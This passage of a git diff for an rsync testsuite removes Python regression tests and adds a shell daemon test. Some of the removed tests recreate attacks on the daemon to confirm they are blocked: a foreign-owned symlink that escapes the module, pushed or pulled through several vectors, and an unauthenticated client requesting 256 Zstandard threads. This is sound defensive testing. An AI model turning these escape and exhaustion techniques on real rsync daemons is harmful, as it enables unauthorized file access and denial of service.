the\n-# module -- a regression vs the legacy opendir that followed it (while a target\n-# escaping the module is still refused).  This pulls module subdir \"sub/\" with\n-# --copy-dirlinks over an in-module ..-climbing dir symlink and asserts its\n-# content arrives.\n-\n-import os\n-\n-from rsyncfns import (\n-    SCRATCHDIR, get_rootgid, get_rootuid, get_testuid, makepath, rmtree,\n-    run_rsync, start_test_daemon, test_fail,\n-)\n-\n-DAEMON_PORT = 12948\n-CONTENT = \"in-module sibling\\n\"\n-\n-base = SCRATCHDIR / 'daemon-subdir-climb'\n-rmtree(base)\n-mod = base / 'mod'\n-dest = base / 'dest'\n-makepath(mod / 'sub', mod / 'sibling', dest)\n-(mod / 'sibling' / 's.txt').write_text(CONTENT)\n-# In-module dir symlink in the subdir, climbing \"..\" to a sibling still inside\n-# the module.  --copy-dirlinks descends it; it must be followed.\n-os.symlink('../sibling', mod / 'sub' / 'climb')\n-\n-root = get_testuid() == get_rootuid()\n-ids = f\"uid = {get_rootuid()}\\ngid = {get_rootgid()}\" if root else \"\"\n-\n-conf = base / 'd.conf'\n-conf.write_text(f\"\"\"\\\n-pid file = {base}/rsyncd.pid\n-use chroot = no\n-{ids}\n-log file = {base}/rsyncd.log\n-\n-[m]\n-    path = {mod}\n-    read only = yes\n-    hosts allow = 127.0.0.1\n-\"\"\")\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-# Pull the SUBDIR (so the daemon chdir's into mod/sub) with --copy-dirlinks.\n-run_rsync('-a', '--copy-dirlinks', f'{url}m/sub/', f'{dest}/', check=False)\n-\n-got = dest / 'climb' / 's.txt'\n-if not got.is_file() or got.read_text() != CONTENT:\n-    test_fail(\n-        \"daemon subdir pull with --copy-dirlinks failed to follow an in-module \"\n-        \"symlink that climbs '..' to a sibling inside the module \"\n-        \"(dest/climb/s.txt missing/wrong): the enumeration must anchor at \"\n-        \"module_dir, not the scan cwd.\")\n-print(\"daemon-subdir-climb-symlink: in-module ..-climbing symlink followed under --copy-dirlinks\")\ndiff --git a/testsuite/daemon-symlink-escape-matrix_test.py b/testsuite/daemon-symlink-escape-matrix_test.py\ndeleted file mode 100644\nindex 2865c51..0000000\n--- a/testsuite/daemon-symlink-escape-matrix_test.py\n+++ /dev/null\n@@ -1,286 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Lock down daemon in-module-symlink resolution for a writable, non-chroot\n-module, across every combination of:\n-\n-    insecure links {no (default secure), yes (admin opt-out)}\n-  x munge symlinks {no, yes}\n-  x link origin    {pre-existing on disk, uploaded via rsync}\n-  x access VECTOR  (how the client reaches the in-module link \"evil\"):\n-        read         : --copy-dirlinks pull of the module        (send_directory)\n-        write        : --keep-dirlinks push into the module       (send_directory)\n-        read-plain   : plain pull of an explicit sub-path \"evil/\" (change_dir)\n-        write-plain   : plain push into an explicit sub-path \"evil/\" (change_dir)\n-        compare-dest : push with --compare-dest=/evil             (basis_link_stat)\n-  x symlink TYPE   (the target the in-module link \"evil\" points at):\n-        rel-within   : relative, stays inside the module           (legit)\n-        rel-outside  : relative, climbs OUT of the module           (escape)\n-        rel-transits : relative, climbs above the module root with \"..\"\n-                       then back IN -- net target inside, path transits out\n-        abs-outside  : absolute, lands OUTSIDE the module           (escape)\n-        abs-inside   : absolute, lands INSIDE the module            (legit)\n-\n-We measure whether the operation FOLLOWED the link to its target (\"followed\").\n-For an *outside* target, followed == an out-of-module escape.\n-\n-Contract pinned here for THIS branch:\n-  - insecure links = no (default): NO out-of-module escape via ANY vector --\n-    every site (send_directory, change_dir, basis_link_stat, secure_basis_open)\n-    refuses a link whose target lands outside the module root.\n-  - insecure links = yes (admin opt-out): restores stock-3.2.7 follow behaviour\n-    UNIFORMLY at every site (the whole point of the option). We assert this\n-    against a REAL 3.2.7 daemon oracle when old_versions/rsync_3.2.7 is present:\n-    for every insecure=yes cell the current build must follow iff 3.2.7 follows.\n-    Without the oracle we fall back to a static contract that still catches a\n-    regression (the broken build returns follow=0 where 3.2.7/the contract\n-    want 1).\n-\n-Why the earlier version of this test missed the change_dir / basis_link_stat\n-gap: its only vectors were `read`/`write` (--copy-dirlinks/--keep-dirlinks),\n-which route 100%% through send_directory/secure_opendir -- the one daemon\n-descent site that already honoured the opt-out -- so insecure=yes followed there\n-and the test passed. The explicit-path (read-plain/write-plain -> change_dir) and\n-alt-dest-basis (compare-dest -> basis_link_stat) vectors below exercise the sites\n-that did NOT honour the opt-out.\n-\n-Needs root (foreign-owned plant; served as root) + a real TCP peer.\n-\"\"\"\n-\n-import os\n-import subprocess\n-from pathlib import Path\n-\n-from rsyncfns import (\n-    RSYNC, RSYNC_PEER, SCRATCHDIR,\n-    find_attacker_uid, require_tcp, rmtree, rsync_argv, rsync_supports,\n-    start_test_daemon, test_fail, test_skipped, write_daemon_conf,\n-)\n-\n-PORT_CUR = 12909\n-PORT_ORACLE = 12910\n-SECRET = \"TARGET-CONTENT\\n\"\n-PWNED = \"WROTE-THROUGH-LINK\\n\"\n-\n-require_tcp(\"the daemon symlink-resolution flow needs a real TCP peer\")\n-if os.geteuid() != 0:\n-    test_skipped(\"requires root to plant a foreign-owned symlink and serve as root\")\n-if not rsync_supports('--copy-dirlinks'):\n-    test_skipped(\"rsync lacks --copy-dirlinks\")\n-ATT = find_attacker_uid()\n-if ATT is None:\n-    test_skipped(\"no untrusted-uid user available for the cross-uid plant\")\n-\n-# The 3.2.7 oracle: prefer a --rsync-bin2 peer if it differs from the build under\n-# test, else the in-tree static binary. None -> degrade to the static contract.\n-_repo = Path(__file__).resolve().parent.parent\n-ORACLE_BIN = None\n-if RSYNC_PEER != RSYNC:\n-    ORACLE_BIN = RSYNC_PEER\n-elif (_repo / 'old_versions' / 'rsync_3.2.7').is_file():\n-    ORACLE_BIN = str(_repo / 'old_versions' / 'rsync_3.2.7')\n-\n-# The in-tree oracle is a Linux x86-64 static binary, so on a non-Linux runner it\n-# is present but not usable: a BSD/macOS host refuses to exec it (ENOEXEC), while\n-# Solaris execs it but it crashes (SIGSEGV).  Probe it with `--version` and degrade\n-# to the static contract unless it ran cleanly (rc == 0) -- catching can't-exec\n-# (OSError), a hang (TimeoutExpired), and a non-zero/signal exit alike -- rather\n-# than later crashing the oracle daemon launch.\n-if ORACLE_BIN:\n-    try:\n-        _probe = subprocess.run([ORACLE_BIN, '--version'],\n-                                stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=15)\n-        if _probe.returncode != 0:\n-            ORACLE_BIN = None\n-    except (OSError, subprocess.TimeoutExpired):\n-        ORACLE_BIN = None\n-\n-TYPES = ('rel-within', 'rel-outside', 'rel-transits', 'abs-outside', 'abs-inside')\n-OUTSIDE = {'rel-outside', 'abs-outside'}\n-VECTORS = ('read', 'write', 'read-plain', 'write-plain', 'compare-dest')\n-\n-base = SCRATCHDIR / 'symlink-escape-matrix'\n-rmtree(base)\n-base.mkdir(parents=True)\n-\n-MODS = {}   # (insecure, munge) -> (modname, moddir, outside)\n-mod_conf = []\n-for insecure in (False, True):\n-    for munge in (False, True):\n-        name = f\"m_{'ins' if insecure else 'safe'}_{'munge' if munge else 'nomunge'}\"\n-        moddir = base / (name + '_root')\n-        outside = base / (name + '_outside')\n-        moddir.mkdir(); outside.mkdir()\n-        MODS[(insecure, munge)] = (name, moddir, outside)\n-        mod_conf.append((name, {\n-            'path': str(moddir), 'use chroot': 'no', 'read only': 'no',\n-            'uid': '0', 'gid': '0',\n-            'insecure links': 'yes' if insecure else 'no',\n-            'munge symlinks': 'yes' if munge else 'no',\n-        }))\n-\n-conf = write_daemon_conf(mod_conf, name='symlink-escape-matrix.conf')\n-# Daemon UNDER TEST is always the current build; the oracle (if any) is a second\n-# daemon on its own port serving the identical modules (3.2.7 ignores the unknown\n-# \"insecure links\" param and just follows -- exactly the legacy oracle we want).\n-# The oracle needs its OWN pid/log file so the two daemons don't fight one lock.\n-url_cur = start_test_daemon(conf, PORT_CUR, rsync_cmd=RSYNC)\n-url_oracle = None\n-if ORACLE_BIN:\n-    conf_oracle = write_daemon_conf(\n-        mod_conf,\n-        {'pid file': str(SCRATCHDIR / 'rsyncd-oracle.pid'),\n-         'log file': str(SCRATCHDIR / 'rsyncd-oracle.log')},\n-        name='symlink-escape-matrix-oracle.conf')\n-    url_oracle = start_test_daemon(conf_oracle, PORT_ORACLE, rsync_cmd=ORACLE_BIN)\n-\n-\n-def link_target(moddir, outside, sltype):\n-    \"\"\"(symlink value, resolved target dir, target_is_outside) for a TYPE.\"\"\"\n-    realdir = moddir / 'realdir'\n-    if sltype == 'rel-within':\n-        return 'realdir', realdir, False\n-    if sltype == 'rel-outside':\n-        return '../' + outside.name, outside, True\n-    if sltype == 'rel-transits':       # up to the parent, then back into the module\n-        return f'../{moddir.name}/realdir', realdir, False\n-    if sltype == 'abs-outside':\n-        return str(outside), outside, True\n-    if sltype == 'abs-inside':\n-        return str(realdir), realdir, False\n-    raise AssertionError(sltype)\n-\n-\n-def attempt(url, insecure, munge, origin, vector, sltype):\n-    \"\"\"Build the cell fresh, run `vector` against daemon `url`, return\n-    (followed, target_outside).\"\"\"\n-    name, moddir, outside = MODS[(insecure, munge)]\n-    rmtree(moddir); moddir.mkdir()\n-    rmtree(outside); outside.mkdir()\n-    realdir = moddir / 'realdir'\n-    realdir.mkdir()\n-    (realdir / 'tgtfile').write_text(SECRET)     # in-module target content\n-    (outside / 'tgtfile').write_text(SECRET)     # out-of-module target content\n-    symval, resolved, t_out = link_target(moddir, outside, sltype)\n-    evil = moddir / 'evil'\n-\n-    if origin == 'preexist':\n-        os.symlink(symval, evil)\n-        os.lchown(evil, ATT, ATT)\n-    else:  # uploaded: transfer the link in so munge/sanitise applies on the daemon\n-        up = base / 'srcup'\n-        rmtree(up); up.mkdir()\n-        os.symlink(symval, up / 'evil')\n-        subprocess.run(rsync_argv('-al', f'{up}/', f'{url}{name}/'),\n-                       stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-        if not evil.is_symlink():\n-            return False, t_out\n-\n-    def run(*args):\n-        subprocess.run(rsync_argv(*args),\n-                       stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-\n-    if vector == 'read':                         # --copy-dirlinks pull (send_directory)\n-        dest = base / 'dest'\n-        rmtree(dest); dest.mkdir()\n-        run('-r', '--copy-dirlinks', f'{url}{name}/', f'{dest}/')\n-        through = dest / 'evil' / 'tgtfile'\n-        return (through.is_file() and through.read_text() == SECRET), t_out\n-\n-    if vector == 'write':                        # --keep-dirlinks push (send_directory)\n-        sw = base / 'srcw'\n-        rmtree(sw); sw.mkdir()\n-        (sw / 'evil').mkdir()\n-        (sw / 'evil' / 'pwned').write_text(PWNED)\n-        run('-r', '--keep-dirlinks', f'{sw}/', f'{url}{name}/')\n-        landed = resolved / 'pwned'\n-        return (landed.is_file() and landed.read_text() == PWNED), t_out\n-\n-    if vector == 'read-plain':                   # plain pull of \"evil/\" (change_dir)\n-        dest = base / 'dest'\n-        rmtree(dest); dest.mkdir()\n-        run('-r', f'{url}{name}/evil/', f'{dest}/')\n-        through = dest / 'tgtfile'\n-        return (through.is_file() and through.read_text() == SECRET), t_out\n-\n-    if vector == 'write-plain':                  # plain push into \"evil/\" (change_dir)\n-        sw = base / 'srcw'\n-        rmtree(sw); sw.mkdir()\n-        (sw / 'pwned').write_text(PWNED)\n-        run('-r', f'{sw}/', f'{url}{name}/evil/')\n-        landed = resolved / 'pwned'\n-        return (landed.is_file() and landed.read_text() == PWNED), t_out\n-\n-    # compare-dest: push a file whose content matches the through-the-link basis;\n-    # if the daemon follows /evil it finds the match and SKIPS the transfer, so\n-    # the file never lands in the module.  followed == the file was skipped.\n-    sc = base / 'srcc'\n-    rmtree(sc); sc.mkdir()\n-    (sc / 'tgtfile').write_text(SECRET)\n-    run('-r', '--checksum', '--compare-dest=/evil', f'{sc}/', f'{url}{name}/')\n-    pushed = moddir / 'tgtfile'\n-    return (not pushed.is_file()), t_out\n-\n-\n-def static_followed(insecure, munge, origin, sltype):\n-    \"\"\"Fallback contract when no 3.2.7 oracle is present (insecure=yes only).\n-    The opt-out follows every pre-existing link; an uploaded link is sanitised\n-    (munge -> none follow; munge-off -> only a rel-within value survives).\"\"\"\n-    if origin == 'uploaded':\n-        return sltype == 'rel-within' and not munge\n-    return True\n-\n-\n-_REPORT = os.environ.get('REPORT_MATRIX')\n-grid, mismatches, escapes = [], [], []\n-for insecure in (False, True):\n-    for munge in (False, True):\n-        for origin in ('preexist', 'uploaded'):\n-            for vector in VECTORS:\n-                for sltype in TYPES:\n-                    got, t_out = attempt(url_cur, insecure, munge, origin, vector, sltype)\n-                    esc = got and t_out\n-\n-                    if not insecure:\n-                        # Secure default: the ONLY hard contract is \"no escape\".\n-                        # (In-module follow differs per resolver family, so we\n-                        # don't over-pin it -- see module docstring.)\n-                        line = (f\"ins=0 munge={int(munge)} {origin:8} {vector:12} \"\n-                                f\"{sltype:11}: followed={int(got)} \"\n-                                f\"{'ESCAPE' if esc else ''}\")\n-                        if esc:\n-                            escapes.append(f\"DEFAULT ESCAPE: munge={int(munge)} \"\n-                                           f\"{origin}/{vector}/{sltype}\")\n-                    else:\n-                        # Opt-out: must match stock 3.2.7 (live oracle) or the\n-                        # static fallback contract.\n-                        if url_oracle is not None:\n-                            want, src = attempt(url_oracle, insecure, munge,\n-                                                origin, vector, sltype)[0], '327'\n-                        else:\n-                            want, src = static_followed(insecure, munge, origin, sltype), 'contract'\n-                        line = (f\"ins=1 munge={int(munge)} {origin:8} {vector:12} \"\n-                                f\"{sltype:11}: followed={int(got)} want={int(want)}({src})\")\n-                        if got != want:\n-                            mismatches.append(\n-                                f\"insecure=yes munge={'yes' if munge else 'no'} \"\n-                                f\"{origin}/{vector}/{sltype}: followed={got}, \"\n-                                f\"{src} expected={want}\")\n-                    grid.append(line)\n-\n-if _REPORT:\n-    test_fail(\"REPORT-MATRIX grid:\\n  \" + \"\\n  \".join(grid))\n-problems = []\n-if escapes:\n-    problems.append(\"secure-default confinement FAILED (out-of-module access):\\n  \"\n-                    + \"\\n  \".join(escapes))\n-if mismatches:\n-    problems.append(\"insecure-links opt-out did NOT match stock 3.2.7:\\n  \"\n-                    + \"\\n  \".join(mismatches))\n-if problems:\n-    test_fail(\"\\n\".join(problems))\n-\n-oracle_note = (\"vs a real 3.2.7 daemon oracle\" if url_oracle\n-               else \"vs the static fallback contract (no 3.2.7 binary present)\")\n-print(\"daemon-symlink-escape-matrix: 5 link types x preexist/uploaded x \"\n-      f\"5 vectors (read/write/read-plain/write-plain/compare-dest) x munge: \"\n-      f\"secure default never escapes the module, and insecure links=yes matches \"\n-      f\"stock-3.2.7 following uniformly ({oracle_note}).\")\ndiff --git a/testsuite/daemon-unix-socket-atfd_test.py b/testsuite/daemon-unix-socket-atfd_test.py\ndeleted file mode 100644\nindex 84f048b..0000000\n--- a/testsuite/daemon-unix-socket-atfd_test.py\n+++ /dev/null\n@@ -1,36 +0,0 @@\n-#!/usr/bin/env python3\n-import socket\n-import stat\n-\n-from rsyncfns import (\n-    SCRATCHDIR, makepath, rmtree, rsync_argv, start_test_daemon, test_skipped, test_fail,\n-    write_daemon_conf,\n-)\n-import subprocess\n-\n-src = SCRATCHDIR / 'sock-src'\n-dst = SCRATCHDIR / 'sock-dst'\n-rmtree(src)\n-rmtree(dst)\n-makepath(src, dst)\n-sock_path = src / 's'\n-s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\n-try:\n-    s.bind(str(sock_path))\n-except OSError as e:\n-    test_skipped(f\"cannot create unix-domain socket fixture: {e}\")\n-finally:\n-    s.close()\n-\n-conf = write_daemon_conf([\n-    ('sock', {'path': str(dst), 'read only': 'no', 'use chroot': 'no'}),\n-])\n-url = start_test_daemon(conf, 12935)\n-proc = subprocess.run(\n-    rsync_argv('-a', '--specials', f'{src}/', f'{url}sock/'),\n-    stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)\n-if proc.returncode != 0:\n-    test_fail(f\"daemon socket-special upload failed:\\n{proc.stderr}\")\n-if not stat.S_ISSOCK((dst / 's').lstat().st_mode):\n-    test_fail(\"rsync did not preserve the unix-domain socket fixture\")\n-print(\"daemon-unix-socket-atfd: daemon receiver preserves unix sockets without escaping parent confinement\")\ndiff --git a/testsuite/daemon-zstd-thread-exhaustion_test.py b/testsuite/daemon-zstd-thread-exhaustion_test.py\ndeleted file mode 100644\nindex c7ee91b..0000000\n--- a/testsuite/daemon-zstd-thread-exhaustion_test.py\n+++ /dev/null\n@@ -1,141 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"A daemon client must not control an unbounded Zstandard worker count.\n-\n-The daemon parses the peer-supplied server argv, so a client that names a\n-large --compress-threads (or its --zt alias) on a PULL makes the daemon-side\n-sender materialize that many Zstandard workers.  A stock client can do this\n-with -M--compress-threads=N; no custom client is needed.  On an anonymous\n-module no authentication is required first.\n-\n-The bound asserted here is the implementation's own: MAX_DAEMON_COMPRESSION\n-_THREADS workers plus the main thread.  A looser threshold would go green on a\n-build that simply cannot create the workers -- a libzstd without\n-multithreading, or a process thread limit -- so the test first proves that a\n-threaded worker pool IS reachable here, and only then that it is bounded.\n-\"\"\"\n-\n-import json\n-import os\n-import re\n-import subprocess\n-import sys\n-import time\n-\n-from rsyncfns import (\n-    SCRATCHDIR, claim_ports, require_tcp, rmtree, run_rsync, start_rsyncd,\n-    test_fail, test_skipped,\n-)\n-import rsync_proto as rp\n-\n-PORT = 13120\n-REQUESTED_THREADS = 256\n-# options.c: MAX_DAEMON_COMPRESSION_THREADS, plus the main thread.\n-MAX_DAEMON_COMPRESSION_THREADS = 8\n-MAX_SAFE_THREADS = MAX_DAEMON_COMPRESSION_THREADS + 1\n-\n-require_tcp(\"the malicious receiver needs a real TCP daemon; run with --use-tcp\")\n-claim_ports(PORT)\n-\n-version = json.loads(run_rsync('-VV', check=True, capture_output=True).stdout)\n-if 'zstd' not in version.get('compress_list', []):\n-    test_skipped('this build does not include Zstandard')\n-\n-base = SCRATCHDIR / 'daemon-zstd-thread-exhaustion'\n-rmtree(base)\n-mod = base / 'module'\n-mod.mkdir(parents=True)\n-# Incompressible output fills the socket while the client deliberately stops\n-# reading, keeping the per-connection process alive for a thread snapshot.\n-(mod / 'f').write_bytes(os.urandom(2 * 1024 * 1024))\n-\n-log = base / 'rsyncd.log'\n-conf = base / 'rsyncd.conf'\n-conf.write_text(f\"\"\"\\\n-pid file = {base}/rsyncd.pid\n-log file = {log}\n-use chroot = no\n-\n-[mod]\n-    path = {mod}\n-\"\"\")\n-start_rsyncd(conf, PORT)\n-\n-c = rp.DaemonClient('127.0.0.1', PORT)\n-c.handshake(\n-    'mod',\n-    [\n-        '--server', '--sender', '-e.LsfxCIu', '--compress',\n-        '--compress-choice=zstd',\n-        f'--compress-threads={REQUESTED_THREADS}', '.', 'mod/f',\n-    ],\n-    greeting_version=30,\n-)\n-entries = rp.sort_entries(c.recv_flist(preserve_links=False))\n-ndx = next(i for i, entry in enumerate(entries) if entry.name == b'f')\n-c.send_data(c.make_request(ndx) + c.w_ndx(rp.NDX_DONE))\n-\n-# Identify the exact per-connection sender from the daemon log.\n-child_pid = None\n-for _ in range(100):\n-    matches = re.findall(r'\\[(\\d+)\\] rsync on mod/f',\n-                         log.read_text(errors='replace') if log.exists() else '')\n-    if matches:\n-        child_pid = int(matches[-1])\n-        break\n-    time.sleep(0.02)\n-if child_pid is None:\n-    c.close()\n-    test_fail('could not identify the per-connection daemon sender')\n-\n-\n-def thread_count(pid):\n-    if sys.platform == 'darwin':\n-        proc = subprocess.run(['ps', '-M', str(pid)], capture_output=True,\n-                              text=True)\n-        return max(0, len(proc.stdout.splitlines()) - 1)\n-    if sys.platform.startswith('linux'):\n-        try:\n-            status = open(f'/proc/{pid}/status').read()\n-        except OSError:\n-            return 0\n-        match = re.search(r'^Threads:\\s+(\\d+)', status, re.M)\n-        return int(match.group(1)) if match else 0\n-    return -1\n-\n-\n-# Ask once whether this platform can be counted at all, BEFORE folding the\n-# answer into a max(): the -1 meaning \"unsupported\" never survives\n-# max(0, -1), so testing for it afterwards can never fire, and an uncountable\n-# platform instead looks like a sender that died before it could be read.\n-# Cygwin reported exactly that.\n-if thread_count(child_pid) < 0:\n-    c.close()\n-    test_skipped(\"counting a process's threads is unsupported on \"\n-                 f'{sys.platform}, so a bound on the worker pool cannot be '\n-                 'observed here')\n-\n-observed = 0\n-for _ in range(100):\n-    observed = max(observed, thread_count(child_pid))\n-    if observed >= REQUESTED_THREADS:\n-        break\n-    time.sleep(0.02)\n-c.close()\n-\n-if observed == 0:\n-    test_fail('the daemon sender exited before its thread count could be read')\n-if observed < 2:\n-    # Only the main thread: this libzstd cannot make workers at all (built\n-    # without multithreading, or a thread limit).  The bound below would then\n-    # hold for a reason that has nothing to do with the cap, so do not claim\n-    # to have tested it.\n-    test_skipped('this build creates no Zstandard worker threads, so a bound '\n-                 f'on them cannot be demonstrated (observed {observed})')\n-if observed > MAX_SAFE_THREADS:\n-    test_fail(\n-        f'one unauthenticated daemon client requested {REQUESTED_THREADS} '\n-        f'Zstandard workers and the per-connection sender materialized '\n-        f'{observed} threads'\n-    )\n-\n-print(f'daemon-zstd-thread-exhaustion: sender stayed at {observed} threads')\ndiff --git a/testsuite/daemon.test b/testsuite/daemon.test\nnew file mode 100644\nindex 0000000..60aa334\n--- /dev/null\n+++ b/testsuite/daemon.test\n@@ -0,0 +1,90 @@\n+#!/bin/sh\n+\n+# Copyright (C) 2001 by Martin Pool <mbp@samba.org>\n+\n+# This program is distributable under the terms of the GNU GPL (see\n+# COPYING)\n+\n+# We don't really want to start the server listening, because that\n+# might interfere with the security or operation of the test machine.\n+# Instead we use the fake-connect feature to dynamically assign a pair\n+# of ports.\n+\n+# Having started the server we try some basic operations against it:\n+\n+# getting a list of module\n+# listing files in a module\n+# retrieving a module\n+# uploading to a module\n+# checking the log file\n+# password authentication\n+\n+. \"$suitedir/rsync.fns\"\n+\n+SSH=\"src/support/lsh.sh --no-cd\"\n+FILE_REPL='s/^\\([^d][^ ]*\\) *\\(..........[0-9]\\) /\\1 \\2 /'\n+DIR_REPL='s/^\\(d[^ ]*\\)  *[0-9][.,0-9]* /\\1         DIR /'\n+LS_REPL='s;[0-9][0-9][0-9][0-9]/[0-9][0-9]/[0-9][0-9] [0-9][0-9]:[0-9][0-9]:[0-9][0-9] ;####/##/## ##:##:## ;g'\n+\n+build_rsyncd_conf\n+\n+makepath \"$fromdir/foo\" \"$fromdir/bar/baz\"\n+makepath \"$todir\"\n+echo one >\"$fromdir/foo/one\"\n+echo two >\"$fromdir/bar/two\"\n+echo three >\"$fromdir/bar/baz/three\"\n+\n+cd \"$scratchdir\"\n+\n+ln -s test-rsyncd.conf rsyncd.conf\n+\n+my_uid=`get_testuid`\n+root_uid=`get_rootuid`\n+confopt=''\n+if test x\"$my_uid\" = x\"$root_uid\"; then\n+    # Root needs to specify the config file, or it uses /etc/rsyncd.conf.\n+    echo \"Forcing --config=$conf\"\n+    confopt=\" --config=$conf\"\n+fi\n+\n+# These have a space-padded 15-char name, then a tab, then a comment.\n+sed 's/NOCOMMENT//' <<EOT >\"$chkfile\"\n+test-from      \tr/o\n+test-to        \tr/w\n+test-scratch   \tNOCOMMENT\n+EOT\n+\n+checkdiff2 \"$RSYNC -ve '$SSH' --rsync-path='$RSYNC$confopt' localhost::\"\n+echo '===='\n+\n+RSYNC_CONNECT_PROG=\"$RSYNC --config=$conf --daemon\"\n+export RSYNC_CONNECT_PROG\n+\n+checkdiff2 \"$RSYNC -v localhost::\"\n+echo '===='\n+\n+checkdiff \"$RSYNC -r localhost::test-hidden\" \\\n+\t\"sed -e '$FILE_REPL' -e '$DIR_REPL' -e '$LS_REPL'\" <<EOT\n+drwxr-xr-x         DIR ####/##/## ##:##:## .\n+drwxr-xr-x         DIR ####/##/## ##:##:## bar\n+-rw-r--r--           4 ####/##/## ##:##:## bar/two\n+drwxr-xr-x         DIR ####/##/## ##:##:## bar/baz\n+-rw-r--r--           6 ####/##/## ##:##:## bar/baz/three\n+drwxr-xr-x         DIR ####/##/## ##:##:## foo\n+-rw-r--r--           4 ####/##/## ##:##:## foo/one\n+EOT\n+\n+checkdiff \"$RSYNC -r localhost::test-from/f*\" \\\n+\t\"sed -e '$FILE_REPL' -e '$DIR_REPL' -e '$LS_REPL'\" <<EOT\n+drwxr-xr-x         DIR ####/##/## ##:##:## foo\n+-rw-r--r--           4 ####/##/## ##:##:## foo/one\n+EOT\n+diff $diffopt \"$chkfile\" \"$outfile\" || test_fail \"test 3 failed\"\n+\n+if $RSYNC -VV | grep '\"atimes\": true' >/dev/null; then\n+    checkdiff \"$RSYNC -rU localhost::test-from/f*\" \\\n+\t\"sed -e '$FILE_REPL' -e '$DIR_REPL' -e '$LS_REPL'\" <<EOT\n+drwxr-xr-x         DIR ####/##/## ##:##:##                     foo\n+-rw-r--r--           4 ####/##/## ##:##:## ####/##/## ##:##:## foo/one\n+EOT\n+fi\ndiff --git a/testsuite/daemon_test.py b/testsuite/daemon_test.py\ndeleted file mode 100644\nindex 3b1adda..0000000\n--- a/testsuite/daemon_test.py\n+++ /dev/null\n@@ -1,136 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/daemon.test.\n-#\n-# Basic daemon-mode operations against an in-process rsyncd: list\n-# modules, list a hidden module, list a single-glob match, and the\n-# atimes-format variant. We avoid actually starting a listening server\n-# by using RSYNC_CONNECT_PROG to spawn the daemon as a child of rsync.\n-\n-# Rerun under the fleet harness's non-root pass (testsuite/fleettest.py): a\n-# non-root rsyncd emits different uid/gid config, so exercise that path too.\n-fleet_nonroot = True\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    CHKFILE, FROMDIR, OUTFILE, RSYNC, RSYNC_PEER, SCRATCHDIR, SRCDIR, TODIR,\n-    build_rsyncd_conf, get_rootuid, get_testuid, makepath,\n-    rsync_argv, run_rsync, start_test_daemon, test_fail, rsh_cmd,\n-)\n-\n-\n-DAEMON_PORT = 12877\n-\n-\n-SSH = rsh_cmd(None, '--no-cd')\n-\n-\n-def listed_paths(text: str) -> set:\n-    \"\"\"The set of path names in an `rsync -r` listing. Each listing line is\n-    \"<mode> <size> <date> <time> <path>\"; pull out the trailing path. Comparing\n-    the whole set (not just checking individual paths are present) catches a\n-    listing that leaks EXTRA paths, not only one that omits expected ones.\"\"\"\n-    paths = set()\n-    for line in text.splitlines():\n-        parts = line.split()\n-        # A listing line starts with a 10-char mode string and ends with the\n-        # path; -U adds extra date columns, so take the last token (the test's\n-        # paths contain no spaces).\n-        if len(parts) >= 5 and len(parts[0]) == 10 and parts[0][0] in '-dlbcps':\n-            paths.add(parts[-1])\n-    return paths\n-\n-\n-conf = build_rsyncd_conf()\n-\n-makepath(FROMDIR / 'foo', FROMDIR / 'bar' / 'baz', TODIR)\n-(FROMDIR / 'foo' / 'one').write_text(\"one\\n\")\n-(FROMDIR / 'bar' / 'two').write_text(\"two\\n\")\n-(FROMDIR / 'bar' / 'baz' / 'three').write_text(\"three\\n\")\n-\n-os.chdir(SCRATCHDIR)\n-if not (SCRATCHDIR / 'rsyncd.conf').exists():\n-    os.symlink('test-rsyncd.conf', SCRATCHDIR / 'rsyncd.conf')\n-\n-confopt = []\n-if get_testuid() == get_rootuid():\n-    # Root needs an explicit --config; otherwise rsync uses /etc/rsyncd.conf.\n-    print(f\"Forcing --config={conf}\")\n-    confopt = [f'--config={conf}']\n-\n-expected_modules = (\n-    \"test-from      \\tr/o\\n\"\n-    \"test-to        \\tr/w\\n\"\n-    \"test-scratch   \\t\\n\"\n-)\n-\n-\n-def run_and_check(args, label, capture_stderr=False):\n-    proc = subprocess.run(\n-        rsync_argv(*args),\n-        capture_output=True, text=True,\n-    )\n-    out = proc.stdout\n-    if capture_stderr:\n-        out += proc.stderr\n-    print(f\"--- {label} output:\")\n-    print(out)\n-    if proc.returncode != 0 and not capture_stderr:\n-        test_fail(f\"{label}: rsync exited {proc.returncode}\\n{proc.stderr}\")\n-    return out\n-\n-\n-# Module list via the lsh.sh stand-in.\n-rsync_path = f\"{RSYNC_PEER}{(' ' + ' '.join(confopt)) if confopt else ''}\"\n-out = run_and_check(\n-    ['-ve', SSH, f'--rsync-path={rsync_path}', 'localhost::'],\n-    \"module list via lsh.sh\",\n-)\n-if expected_modules not in out:\n-    test_fail(\"module list via lsh.sh did not contain the expected modules\")\n-# test-hidden is `list = no`; it must NOT appear in the module listing.\n-if 'test-hidden' in out:\n-    print(out)\n-    test_fail(\"module list via lsh.sh leaked the `list = no` test-hidden module\")\n-print('====')\n-\n-# Same module list via the test daemon (pipe transport by default; real\n-# loopback rsyncd under --use-tcp).\n-daemon_url = start_test_daemon(conf, DAEMON_PORT).rstrip('/')\n-\n-out = run_and_check(['-v', f'{daemon_url}/'], \"module list via daemon\")\n-if expected_modules not in out:\n-    test_fail(\"module list via daemon did not contain the expected modules\")\n-# test-hidden is `list = no`; it must NOT appear in the module listing.\n-if 'test-hidden' in out:\n-    print(out)\n-    test_fail(\"module list via daemon leaked the `list = no` test-hidden module\")\n-print('====')\n-\n-# test-hidden: a recursive listing of the whole module. Compare the exact set\n-# of listed paths so an unexpected/leaked extra path is caught, not only a\n-# missing one.\n-out = run_and_check(['-r', f'{daemon_url}/test-hidden'], \"test-hidden listing\")\n-got = listed_paths(out)\n-want = {'.', 'bar', 'bar/two', 'bar/baz', 'bar/baz/three', 'foo', 'foo/one'}\n-if got != want:\n-    print(out)\n-    test_fail(f\"test-hidden listing paths {sorted(got)} != expected {sorted(want)}\")\n-\n-# test-from/f* glob: only the foo subtree, nothing from bar.\n-out = run_and_check(['-r', f'{daemon_url}/test-from/f*'], \"test-from glob\")\n-got = 